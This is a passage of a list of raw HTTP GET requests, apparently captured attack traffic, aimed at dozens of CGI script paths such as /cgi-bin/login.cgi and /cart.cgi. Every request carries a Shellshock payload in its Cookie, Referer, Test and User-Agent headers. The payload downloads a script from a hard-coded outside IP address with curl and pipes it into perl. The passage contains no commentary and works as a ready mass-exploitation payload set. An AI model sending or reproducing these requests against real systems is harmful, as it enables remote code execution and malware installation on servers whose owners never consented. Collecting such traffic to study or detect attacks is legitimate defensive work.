 u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/magiccard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/MachineInfoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lookwho.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lastlines.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/handler/netsonarHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/handler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fom/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/diagnose.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csv_db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/common/listrec.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classified.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bulk/bulk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bslist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-rep.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-hostsvc.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/auktion.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/AT-generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/architext_query.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/add_ftp.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/14all.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/14all-1.1.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ccbill/whereami.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /apps/web/vs_diag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/status HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /wwwadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /users/scripts/submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /technote/print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
